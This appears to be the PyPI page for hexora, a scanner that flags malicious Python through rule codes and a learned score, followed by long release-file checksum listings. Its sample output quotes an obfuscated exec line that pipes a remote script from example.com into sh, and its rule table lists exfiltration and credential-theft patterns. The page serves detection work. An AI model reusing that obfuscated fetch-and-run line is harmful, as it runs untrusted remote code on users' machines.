Skip to main content

hexora

PyPI - Version

Hexora is a static analysis tool designed to detect malicious and harmful patterns in Python code. It combines a rule-based static analysis engine with a machine-learned model that scores entire source files to classify them as malicious or benign.

It can be used to:

  • Audit project dependencies to catch potential supply-chain attacks
  • Detect malicious scripts found on platforms like Pastebin, GitHub, or open directories
  • Analyze IoC files from past security incidents
  • Audit new packages uploaded to PyPi.
Hexora example

It's able to detect 2-10 new malicious packages on PyPI each day: PyPI security

Examples

For output examples, please see docs/examples.md file.

Installation

Using Python

Requires Python 3.9+.

pip install hexora

Using uv:

uv tool install hexora

Usage

hexora --help

Audit single file

>  hexora audit test.py

warning[HX2000]: Reading from the clipboard can be used to exfiltrate sensitive data.
  ┌─ resources/test/test.py:3:8
  │
1 │ import pyperclip
2 │
3 │ data = pyperclip.paste()
  │        ^^^^^^^^^^^^^^^^^ HX2000
  │
  = Confidence: High
    Help: Clipboard access can be used to exfiltrate sensitive data such as passwords and keys.
    Machine learning based score for file: 0.93

warning[HX3000]: Possible execution of unwanted code
   ┌─ resources/test/test.py:20:1
   │
19 │ (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
20 │ _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
   │ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
   │

Audit directory

hexora audit --output-format terminal resources/test/

Audit packages from virtual environment

hexora audit --exclude HX5020,HX5030,HX5040,HX5050,HX5060 --min-confidence high .venv/lib/python3.11/site-packages/

Where python3.11 is the version of the Python in virtual environment.

Tips:

  • Use --exclude to suppress certain rule codes (e.g., noisy imports) for a given run
  • Use --min-confidence to focus on high-confidence findings only.

Confidence indicates how a certain piece of code is malicious. Some libraries or code snippets are used for legit purposes, and it's hard to distinguish legit use-cases from malicious ones. That's why some matches have a low confidence level.

Some rules can have different confidence levels. Avoid filtering a lot of rules by codes unless you are very confident. For example, code and shell execution can have medium, high, and very high confidence. This depends on how the code was executed. If we detect an obfuscation attempt, we elevate confidence.

For example, this code will have a high confidence:

globals()["__builtins__"].eval("print(123)")

Usage in Python

>>> import hexora
>>> results = hexora.audit_path("/Projects/hexora/resources/test/")
>>> len(results)
15
>>> results[0]
{'items': [{'confidence': 'low',
            'description': 'pyperclip can be used to copy and paste data from '
                           'the clipboard.',
            'label': 'pyperclip',
            'location': (7, 16),
            'rule': 'HX5010'},
           {'confidence': 'high',
            'description': 'Reading from the clipboard can be used to '
                           'exfiltrate sensitive data.',
            'label': 'pyperclip.paste',
            'location': (25, 42),
            'rule': 'HX2000'}],
 'path': '/Projects/hexora/resources/test/clipboard_01.py'}
>>> # Single file audit
>>> result = hexora.audit_file("/Projects/hexora/resources/test/clipboard_01.py")
>>> ...

Testing Against Malicious Dataset

When developing new rules, you can use existing malicious datasets such as malicious-software-packages-dataset.

After cloning, point the benchmarking tool to the dataset directory:

cargo run --release benchmark malicious-software-packages-dataset/samples/pypi/ --print-missing --exclude-path data/excluded.txt  --min-confidence high

Available rules

New rules are added regularly.

Right now, the following rules are available:

Code Name Description
HX1000 AppEnumeration Suspicious application enumeration.
HX1010 BrowserEnumeration Suspicious browser enumeration (apps, cookies, history, etc.).
HX1020 PathEnumeration Suspicious path enumeration.
HX1030 OSFingerprint Suspicious OS fingerprinting.
HX2000 ClipboardRead Reading from the clipboard.
HX2010 EnvAccess Access to a sensitive environment variable.
HX2020 ScreenshotCapture Capturing screenshots from the display.
HX3000 CodeExec Possible code execution.
HX3010 ShellExec Execution of a shell command.
HX3040 DLLInjection Possible DLL injection.
HX3050 DangerousExec Execution of potentially dangerous command inside a shell command.
HX3060 SuspiciousCall Suspicious function call.
HX4000 ObfuscatedShellExec Execution of possibly obfuscated shell command.
HX4010 ObfuscatedCodeExec Execution of possibly obfuscated code.
HX5000 DunderImport Suspicious use of __import__.
HX5010 SuspiciousImport Suspicious import.
HX5020 CtypesImport Suspicious ctypes import.
HX5030 PickleImport Suspicious pickle import.
HX5040 StructImport Suspicious struct import.
HX5050 SocketImport Suspicious socket import.
HX5060 MarshalImport Suspicious marshal import.
HX6000 Base64String Long Base64-encoded string detected; possible code obfuscation.
HX6010 HexedLiterals List of hex-encoded literals detected; possible payload.
HX6020 HexedString Long hex-encoded string detected; possible payload.
HX6030 IntLiterals Large list of integer literals detected; possible code obfuscation.
HX6040 CVEInLiteral Literal contains a CVE identifier.
HX6050 SuspiciousLiteral Suspicious literal detected; possible data enumeration.
HX6060 PathTraversal Suspicious path traversal.
HX6070 BrowserExtension Enumeration of sensitive browser extensions.
HX6080 WebHook Suspicious webhook detected. Possible data exfiltration.
HX6090 TelegramToken Telegram bot token detected in string literal.
HX7000 SuspiciousFunctionName Suspicious function name.
HX7010 SuspiciousParameterName Suspicious parameter name.
HX7020 SuspiciousVariable Suspicious variable name.
HX9000 DataExfiltration Potential data exfiltration.
HX8000 BinaryDownload Suspicious binary download.
HX8010 BuiltinsVariable Suspicious builtin variable usage.
HX8020 SuspiciousComment Suspicious comment.
HX8030 SuspiciousWrite Suspicious write to the filesystem.
HX8040 InstallHook Suspicious install hook setup.

Credits

For parsing, we use AST parser from ruff library.

Metadata

Release files for hexora 0.3.2

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for hexora 0.3.2
File Size Uploaded
hexora-0.3.2.tar.gz 6.4 kB Details

Built distributions (wheels)

Table of built distributions (wheels) for hexora 0.3.2
File
hexora-0.3.2-cp315-cp315-win_amd64.whl CPython 3.15 CPython 3.15 Windows x86-64 Details
hexora-0.3.2-cp315-cp315-musllinux_1_2_x86_64.whl CPython 3.15 CPython 3.15 Linux musl 1.2+ x86-64 Details
hexora-0.3.2-cp315-cp315-manylinux_2_28_x86_64.whl CPython 3.15 CPython 3.15 Linux glibc 2.28+ x86-64 Details
hexora-0.3.2-cp315-cp315-manylinux_2_28_aarch64.whl CPython 3.15 CPython 3.15 Linux glibc 2.28+ ARM64 Details
hexora-0.3.2-cp315-cp315-macosx_11_0_arm64.whl CPython 3.15 CPython 3.15 macOS 11.0+ ARM64 Details
hexora-0.3.2-cp315-cp315-macosx_10_15_x86_64.whl CPython 3.15 CPython 3.15 macOS 10.15+ x86-64 Details
hexora-0.3.2-cp314-cp314-win_amd64.whl CPython 3.14 CPython 3.14 Windows x86-64 Details
hexora-0.3.2-cp314-cp314-musllinux_1_2_x86_64.whl CPython 3.14 CPython 3.14 Linux musl 1.2+ x86-64 Details
hexora-0.3.2-cp314-cp314-manylinux_2_28_x86_64.whl CPython 3.14 CPython 3.14 Linux glibc 2.28+ x86-64 Details
hexora-0.3.2-cp314-cp314-manylinux_2_28_aarch64.whl CPython 3.14 CPython 3.14 Linux glibc 2.28+ ARM64 Details
hexora-0.3.2-cp314-cp314-macosx_11_0_arm64.whl CPython 3.14 CPython 3.14 macOS 11.0+ ARM64 Details
hexora-0.3.2-cp314-cp314-macosx_10_15_x86_64.whl CPython 3.14 CPython 3.14 macOS 10.15+ x86-64 Details
hexora-0.3.2-cp313-cp313-win_amd64.whl CPython 3.13 CPython 3.13 Windows x86-64 Details
hexora-0.3.2-cp313-cp313-musllinux_1_2_x86_64.whl CPython 3.13 CPython 3.13 Linux musl 1.2+ x86-64 Details
hexora-0.3.2-cp313-cp313-manylinux_2_28_x86_64.whl CPython 3.13 CPython 3.13 Linux glibc 2.28+ x86-64 Details
hexora-0.3.2-cp313-cp313-manylinux_2_28_aarch64.whl CPython 3.13 CPython 3.13 Linux glibc 2.28+ ARM64 Details
hexora-0.3.2-cp313-cp313-macosx_11_0_arm64.whl CPython 3.13 CPython 3.13 macOS 11.0+ ARM64 Details
hexora-0.3.2-cp313-cp313-macosx_10_13_x86_64.whl CPython 3.13 CPython 3.13 macOS 10.13+ x86-64 Details
hexora-0.3.2-cp312-cp312-win_amd64.whl CPython 3.12 CPython 3.12 Windows x86-64 Details
hexora-0.3.2-cp312-cp312-musllinux_1_2_x86_64.whl CPython 3.12 CPython 3.12 Linux musl 1.2+ x86-64 Details
hexora-0.3.2-cp312-cp312-manylinux_2_28_x86_64.whl CPython 3.12 CPython 3.12 Linux glibc 2.28+ x86-64 Details
hexora-0.3.2-cp312-cp312-manylinux_2_28_aarch64.whl CPython 3.12 CPython 3.12 Linux glibc 2.28+ ARM64 Details
hexora-0.3.2-cp312-cp312-macosx_11_0_arm64.whl CPython 3.12 CPython 3.12 macOS 11.0+ ARM64 Details
hexora-0.3.2-cp312-cp312-macosx_10_13_x86_64.whl CPython 3.12 CPython 3.12 macOS 10.13+ x86-64 Details
hexora-0.3.2-cp311-cp311-win_amd64.whl CPython 3.11 CPython 3.11 Windows x86-64 Details
hexora-0.3.2-cp311-cp311-musllinux_1_2_x86_64.whl CPython 3.11 CPython 3.11 Linux musl 1.2+ x86-64 Details
hexora-0.3.2-cp311-cp311-manylinux_2_28_x86_64.whl CPython 3.11 CPython 3.11 Linux glibc 2.28+ x86-64 Details
hexora-0.3.2-cp311-cp311-manylinux_2_28_aarch64.whl CPython 3.11 CPython 3.11 Linux glibc 2.28+ ARM64 Details
hexora-0.3.2-cp311-cp311-macosx_11_0_arm64.whl CPython 3.11 CPython 3.11 macOS 11.0+ ARM64 Details
hexora-0.3.2-cp311-cp311-macosx_10_12_x86_64.whl CPython 3.11 CPython 3.11 macOS 10.12+ x86-64 Details
hexora-0.3.2-cp310-cp310-win_amd64.whl CPython 3.10 CPython 3.10 Windows x86-64 Details
hexora-0.3.2-cp310-cp310-musllinux_1_2_x86_64.whl CPython 3.10 CPython 3.10 Linux musl 1.2+ x86-64 Details
hexora-0.3.2-cp310-cp310-manylinux_2_28_x86_64.whl CPython 3.10 CPython 3.10 Linux glibc 2.28+ x86-64 Details
hexora-0.3.2-cp310-cp310-manylinux_2_28_aarch64.whl CPython 3.10 CPython 3.10 Linux glibc 2.28+ ARM64 Details
hexora-0.3.2-cp310-cp310-macosx_11_0_arm64.whl CPython 3.10 CPython 3.10 macOS 11.0+ ARM64 Details
hexora-0.3.2-cp310-cp310-macosx_10_12_x86_64.whl CPython 3.10 CPython 3.10 macOS 10.12+ x86-64 Details

Total release size: 112.3 MB

Release files / hexora-0.3.2.tar.gz

Download URL hexora-0.3.2.tar.gz
Size 6.4 kB
Tags Source
SHA-256 checksum
How to use checksums
1dd8a4c695e64aa73d7083f921cc3152bad3005106369cbdfc81afb5896ecb95
BLAKE2b-256 checksum
How to use checksums
39002ca76c83a2d3079c11ce840fab111c0fcb160b92bfc07bacfdf8b5d0432b
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.2-cp315-cp315-win_amd64.whl

Download URL hexora-0.3.2-cp315-cp315-win_amd64.whl
Size 3.1 MB
Tags CPython 3.15 Windows x86-64
SHA-256 checksum
How to use checksums
013b0f98221be7432d3fd543ff577287e98c611d46a6e4882f5e92bcda59b6bd
BLAKE2b-256 checksum
How to use checksums
c52446283add189d666a323bc7296fdd76238e5271538e6b8eddc0f83efb7db6
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.2-cp315-cp315-musllinux_1_2_x86_64.whl

Download URL hexora-0.3.2-cp315-cp315-musllinux_1_2_x86_64.whl
Size 3.3 MB
Tags CPython 3.15 Linux musl 1.2+ x86-64
SHA-256 checksum
How to use checksums
26ef38a16d2a47f4b04156ee55978504f8e508de0898cb4beb56a78011a86f12
BLAKE2b-256 checksum
How to use checksums
d8e8faf16ff25c34849907f1d058a056b7cdea5f238c752e0de1d86666fc57f6
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.2-cp315-cp315-manylinux_2_28_x86_64.whl

Download URL hexora-0.3.2-cp315-cp315-manylinux_2_28_x86_64.whl
Size 3.2 MB
Tags CPython 3.15 Linux glibc 2.28+ x86-64
SHA-256 checksum
How to use checksums
a6cdf415765f3dae4e3583a26f12d2f38134443ff3113f79a21df4930a9e357a
BLAKE2b-256 checksum
How to use checksums
eaa2697903e944d35eddd77efd2a184c345de3b9aac9ebfa63feb9fb72e6225c
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.2-cp315-cp315-manylinux_2_28_aarch64.whl

Download URL hexora-0.3.2-cp315-cp315-manylinux_2_28_aarch64.whl
Size 3.2 MB
Tags CPython 3.15 Linux glibc 2.28+ ARM64
SHA-256 checksum
How to use checksums
be21b8792f44198ed4473d58cd89650aa41aa86e5a0b37c6ce71605869a57f91
BLAKE2b-256 checksum
How to use checksums
b4e4e1c044c2be8a009db3ab8ab838ff88c1b4bc355bade23273f341261a79d1
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.2-cp315-cp315-macosx_11_0_arm64.whl

Download URL hexora-0.3.2-cp315-cp315-macosx_11_0_arm64.whl
Size 2.9 MB
Tags CPython 3.15 macOS 11.0+ ARM64
SHA-256 checksum
How to use checksums
7b56344b23ff6f9a3b8d53745e8efc04c9588d6f177b23dc959aa95ead3f354b
BLAKE2b-256 checksum
How to use checksums
35d80e765c24fce893e6de4e1a4a50ffb8e5d22f4d9209918e7e4db3d4f25081
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.2-cp315-cp315-macosx_10_15_x86_64.whl

Download URL hexora-0.3.2-cp315-cp315-macosx_10_15_x86_64.whl
Size 3.1 MB
Tags CPython 3.15 macOS 10.15+ x86-64
SHA-256 checksum
How to use checksums
90dc91a5e90a004e5bf74293a1563a59ac8912a3843b246dff14e4cdf94f9b74
BLAKE2b-256 checksum
How to use checksums
0665a168d670985ae9e069866c4459eb7863a1539f30ad046fc3d0c0a7855d34
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.2-cp314-cp314-win_amd64.whl

Download URL hexora-0.3.2-cp314-cp314-win_amd64.whl
Size 3.1 MB
Tags CPython 3.14 Windows x86-64
SHA-256 checksum
How to use checksums
74eb6051e5cf9baf8e169e5e844c05b4a0cdcaa6d225ba8362b0b2bb3a58ebaa
BLAKE2b-256 checksum
How to use checksums
8e96f65eba24946fb834ddfe0cc676c2b0b1ac0e1036728aed08ff71a60b514a
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.2-cp314-cp314-musllinux_1_2_x86_64.whl

Download URL hexora-0.3.2-cp314-cp314-musllinux_1_2_x86_64.whl
Size 3.3 MB
Tags CPython 3.14 Linux musl 1.2+ x86-64
SHA-256 checksum
How to use checksums
09d474ec456148410838d28a74034f57bbb9faa61bb1cdd59cd9784831c9ecaf
BLAKE2b-256 checksum
How to use checksums
53fd72bc710999840d4b50469097559ee7d551c4980c8c9bcd54e9ab2337f28d
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.2-cp314-cp314-manylinux_2_28_x86_64.whl

Download URL hexora-0.3.2-cp314-cp314-manylinux_2_28_x86_64.whl
Size 3.2 MB
Tags CPython 3.14 Linux glibc 2.28+ x86-64
SHA-256 checksum
How to use checksums
a3d034972720cad0e6742a5f28639c6e9e6a37d11f01c8cd5143a44cdf4d71ac
BLAKE2b-256 checksum
How to use checksums
d0a35e02039087203f1f0c2ef1cdd15f54c2d03639c11c81f0b581f1a4c2c5d3
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.2-cp314-cp314-manylinux_2_28_aarch64.whl

Download URL hexora-0.3.2-cp314-cp314-manylinux_2_28_aarch64.whl
Size 3.2 MB
Tags CPython 3.14 Linux glibc 2.28+ ARM64
SHA-256 checksum
How to use checksums
59e32c003b4711e4b79fd92db0564fce78705539ddf73bfb369b1112de5e2a0b
BLAKE2b-256 checksum
How to use checksums
1c32269bffd7c4a4f9753aa801b8ec6e5aa86aafcf578103abf0f453c07b1341
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.2-cp314-cp314-macosx_11_0_arm64.whl

Download URL hexora-0.3.2-cp314-cp314-macosx_11_0_arm64.whl
Size 2.9 MB
Tags CPython 3.14 macOS 11.0+ ARM64
SHA-256 checksum
How to use checksums
2836578d1743f94e9633b3aea5bb671a53ff1e08f38b30c2ddf75b05377f582b
BLAKE2b-256 checksum
How to use checksums
107b6b27907d6c0e8e85e936f9952827c15824724f0c53bceccc2a355386010b
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.2-cp314-cp314-macosx_10_15_x86_64.whl

Download URL hexora-0.3.2-cp314-cp314-macosx_10_15_x86_64.whl
Size 3.1 MB
Tags CPython 3.14 macOS 10.15+ x86-64
SHA-256 checksum
How to use checksums
ae3f14e54fd7159384e9f429ed34a3f3b30d4cd59a22281d9e180a6f9fbce42f
BLAKE2b-256 checksum
How to use checksums
56775dc239961dbf12258dc110a438580243d4ae0d62ed2c6d8c1e55a730bf1b
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.2-cp313-cp313-win_amd64.whl

Download URL hexora-0.3.2-cp313-cp313-win_amd64.whl
Size 3.0 MB
Tags CPython 3.13 Windows x86-64
SHA-256 checksum
How to use checksums
fb1211d477f0c3b00a2044147f6ab0988a1162f2597d0020b4241107499a6b82
BLAKE2b-256 checksum
How to use checksums
3438d6769454860daad2a91cc592c68009d633da2748e2dea036fc93b7e2404c
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.2-cp313-cp313-musllinux_1_2_x86_64.whl

Download URL hexora-0.3.2-cp313-cp313-musllinux_1_2_x86_64.whl
Size 3.3 MB
Tags CPython 3.13 Linux musl 1.2+ x86-64
SHA-256 checksum
How to use checksums
80e9a434eb850500fc4da78a67f56eb256bcd431f3592a4f3930f1b2c0c68c8f
BLAKE2b-256 checksum
How to use checksums
291276f9cbc83cb424822137b448c89465b411257ca15c35dc1a13bc91f065eb
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.2-cp313-cp313-manylinux_2_28_x86_64.whl

Download URL hexora-0.3.2-cp313-cp313-manylinux_2_28_x86_64.whl
Size 3.2 MB
Tags CPython 3.13 Linux glibc 2.28+ x86-64
SHA-256 checksum
How to use checksums
aea06ef426bf7f6db2872153289cc683eab7ec440d3ff971ac540259235025ab
BLAKE2b-256 checksum
How to use checksums
6efb2dae22c858eaea370dcb8e6b510973699eb43b69640298a28d38958ffb52
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.2-cp313-cp313-manylinux_2_28_aarch64.whl

Download URL hexora-0.3.2-cp313-cp313-manylinux_2_28_aarch64.whl
Size 3.2 MB
Tags CPython 3.13 Linux glibc 2.28+ ARM64
SHA-256 checksum
How to use checksums
710d3230fd3dd993962386c4d44e51e9184047a94d4d722454d2eb3413ad6416
BLAKE2b-256 checksum
How to use checksums
fa92af2dd5be87738be6609214cd552b61788e094cf0b1579b17cea115c11272
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.2-cp313-cp313-macosx_11_0_arm64.whl

Download URL hexora-0.3.2-cp313-cp313-macosx_11_0_arm64.whl
Size 2.9 MB
Tags CPython 3.13 macOS 11.0+ ARM64
SHA-256 checksum
How to use checksums
31e3b7356040c9891103812f5a2cbb847c4e8c6f43b07d79d7b76212623222c7
BLAKE2b-256 checksum
How to use checksums
5dca27887d1ce2137688d0b0b6295eafd3bf73dfa297542ea9a220bcf1b195a8
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.2-cp313-cp313-macosx_10_13_x86_64.whl

Download URL hexora-0.3.2-cp313-cp313-macosx_10_13_x86_64.whl
Size 3.1 MB
Tags CPython 3.13 macOS 10.13+ x86-64
SHA-256 checksum
How to use checksums
47b467a072187ba77d583116cbd919f17fc034ec96622bf69fadea6e6857a485
BLAKE2b-256 checksum
How to use checksums
cb56e38cddf48a9092b985194706d8ff60d175e060fb89d3571b8e04c23e2b2b
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.2-cp312-cp312-win_amd64.whl

Download URL hexora-0.3.2-cp312-cp312-win_amd64.whl
Size 3.0 MB
Tags CPython 3.12 Windows x86-64
SHA-256 checksum
How to use checksums
319d161b4a7af3866e86783390c1e9d8074e3ee60ff2eff184a01944a76d1651
BLAKE2b-256 checksum
How to use checksums
1f30c40e41fe37df181233ffba299226106639984f4d32ee8c1bc17d798059f0
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.2-cp312-cp312-musllinux_1_2_x86_64.whl

Download URL hexora-0.3.2-cp312-cp312-musllinux_1_2_x86_64.whl
Size 3.3 MB
Tags CPython 3.12 Linux musl 1.2+ x86-64
SHA-256 checksum
How to use checksums
179dcdad6c3bc121bbd7dc72ad9d82a4b3517ec1a83c3158bb26ee0d452fcb29
BLAKE2b-256 checksum
How to use checksums
009f9a2ee58711a38d56cb79dbbb20dab1e3bcfcba95d6eea1256e75a4e6ccf2
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.2-cp312-cp312-manylinux_2_28_x86_64.whl

Download URL hexora-0.3.2-cp312-cp312-manylinux_2_28_x86_64.whl
Size 3.2 MB
Tags CPython 3.12 Linux glibc 2.28+ x86-64
SHA-256 checksum
How to use checksums
6d9249796f55bf4e098c4a69741e78c313d69ab4a164e35dcbf684273015fd73
BLAKE2b-256 checksum
How to use checksums
f022112ad38004a27ccbf3e9991576bc25182e8dcabf6ea23d67d6db399f7f10
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.2-cp312-cp312-manylinux_2_28_aarch64.whl

Download URL hexora-0.3.2-cp312-cp312-manylinux_2_28_aarch64.whl
Size 3.2 MB
Tags CPython 3.12 Linux glibc 2.28+ ARM64
SHA-256 checksum
How to use checksums
6cdfaffe1819f6969389988fb06baa6282fc4df4d5dc0aef388f3546b0b69908
BLAKE2b-256 checksum
How to use checksums
4722e83ad0069b8615c5083135df05f6732abc6a55c086abd9254fa58f5e3b93
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.2-cp312-cp312-macosx_11_0_arm64.whl

Download URL hexora-0.3.2-cp312-cp312-macosx_11_0_arm64.whl
Size 2.9 MB
Tags CPython 3.12 macOS 11.0+ ARM64
SHA-256 checksum
How to use checksums
0b73ee13afc323b2b9e8b58ad72ee5f1e6e9efd8ecc2b24613aeecb52214cde5
BLAKE2b-256 checksum
How to use checksums
74653e697b9fbfd5381b3953f89f98cbeaadc8f74357cd064b853eed0c8821d3
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.2-cp312-cp312-macosx_10_13_x86_64.whl

Download URL hexora-0.3.2-cp312-cp312-macosx_10_13_x86_64.whl
Size 3.1 MB
Tags CPython 3.12 macOS 10.13+ x86-64
SHA-256 checksum
How to use checksums
f5d7d80cf04ec80e89b31ed1de4d186e2565de8c75796684b9ec8a1dfeb94fa1
BLAKE2b-256 checksum
How to use checksums
18fce36e2b19f93e3b2765cd6bee7586878a56ddfffe883e4ff28a991cb961d1
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.2-cp311-cp311-win_amd64.whl

Download URL hexora-0.3.2-cp311-cp311-win_amd64.whl
Size 3.0 MB
Tags CPython 3.11 Windows x86-64
SHA-256 checksum
How to use checksums
88534c3e127324ee98e511d4f87382903870a2f9189f42ec51900fe539ff1702
BLAKE2b-256 checksum
How to use checksums
c86e239896f4d095dea18965fe20558a590b53f57f8dfda1a81965324f847114
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.2-cp311-cp311-musllinux_1_2_x86_64.whl

Download URL hexora-0.3.2-cp311-cp311-musllinux_1_2_x86_64.whl
Size 3.3 MB
Tags CPython 3.11 Linux musl 1.2+ x86-64
SHA-256 checksum
How to use checksums
305716c18648c06fee5351ad6609c310f9820cbb5e339bd5b64fbe2949a19a25
BLAKE2b-256 checksum
How to use checksums
d6ab2dc00f49e42d59839c9aa1ec926368a6b8227d75fd432f60b2c7727fdbb5
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.2-cp311-cp311-manylinux_2_28_x86_64.whl

Download URL hexora-0.3.2-cp311-cp311-manylinux_2_28_x86_64.whl
Size 3.2 MB
Tags CPython 3.11 Linux glibc 2.28+ x86-64
SHA-256 checksum
How to use checksums
026bf749a1351efd337b29bfe783de56f90e8252eec9a0fd47be6502ef1bbe5b
BLAKE2b-256 checksum
How to use checksums
c66a60891c699528022085e7652cd4b39ce3ba9a0ad3be19840f637f8a09ff81
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.2-cp311-cp311-manylinux_2_28_aarch64.whl

Download URL hexora-0.3.2-cp311-cp311-manylinux_2_28_aarch64.whl
Size 3.2 MB
Tags CPython 3.11 Linux glibc 2.28+ ARM64
SHA-256 checksum
How to use checksums
36e58bf7c7d64a66078e098054629ab076fcae7bd4000499ff481606293f7287
BLAKE2b-256 checksum
How to use checksums
066edf0013083e0c5f798dc82c19d92f7027d1f489078f8017dfa182232e545c
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.2-cp311-cp311-macosx_11_0_arm64.whl

Download URL hexora-0.3.2-cp311-cp311-macosx_11_0_arm64.whl
Size 2.9 MB
Tags CPython 3.11 macOS 11.0+ ARM64
SHA-256 checksum
How to use checksums
04d32dbca598626695d08e2ab0fc3ca8a3c07e668a426f48cb0cef37c1112347
BLAKE2b-256 checksum
How to use checksums
2022f0c327512d03046eba665bdee88a8d91bceb46c57f429466a7bd60213052
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.2-cp311-cp311-macosx_10_12_x86_64.whl

Download URL hexora-0.3.2-cp311-cp311-macosx_10_12_x86_64.whl
Size 3.1 MB
Tags CPython 3.11 macOS 10.12+ x86-64
SHA-256 checksum
How to use checksums
3f881e109732bcbce54f2ea3a7d3e5c1cf11dbd5d976a80c99b2ec979c6595ee
BLAKE2b-256 checksum
How to use checksums
266e27bc2a2d9d1a2e9a57f8fd8ded690fc4faa4ca64caa04a7bbbcda474cf28
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.2-cp310-cp310-win_amd64.whl

Download URL hexora-0.3.2-cp310-cp310-win_amd64.whl
Size 3.0 MB
Tags CPython 3.10 Windows x86-64
SHA-256 checksum
How to use checksums
de05a62b0d124f4de4215a4e3a52e46d799d00f3b76ebde0210b73d2ef45e604
BLAKE2b-256 checksum
How to use checksums
d01d2c12fe9791f66c4d7064be61e862f1cc63a390099c48039a0ec0e29cbcaa
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.2-cp310-cp310-musllinux_1_2_x86_64.whl

Download URL hexora-0.3.2-cp310-cp310-musllinux_1_2_x86_64.whl
Size 3.3 MB
Tags CPython 3.10 Linux musl 1.2+ x86-64
SHA-256 checksum
How to use checksums
3fa47b108fc463e48d2adf246eccc766b6cd3d70fb1648e716e1019ec06bafb4
BLAKE2b-256 checksum
How to use checksums
c30cd97f2d4b153a6f986522d382816561814e59f33462be2932d43e81a356ff
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.2-cp310-cp310-manylinux_2_28_x86_64.whl

Download URL hexora-0.3.2-cp310-cp310-manylinux_2_28_x86_64.whl
Size 3.2 MB
Tags CPython 3.10 Linux glibc 2.28+ x86-64
SHA-256 checksum
How to use checksums
b5961c276fc02fa349fae7981aadfca3f816f179e6fe74b43122d9ad044cae22
BLAKE2b-256 checksum
How to use checksums
8a0d9c21e37ecfa24c91cbe717240536f918047c5c1f031580908794ab3723aa
Upload date
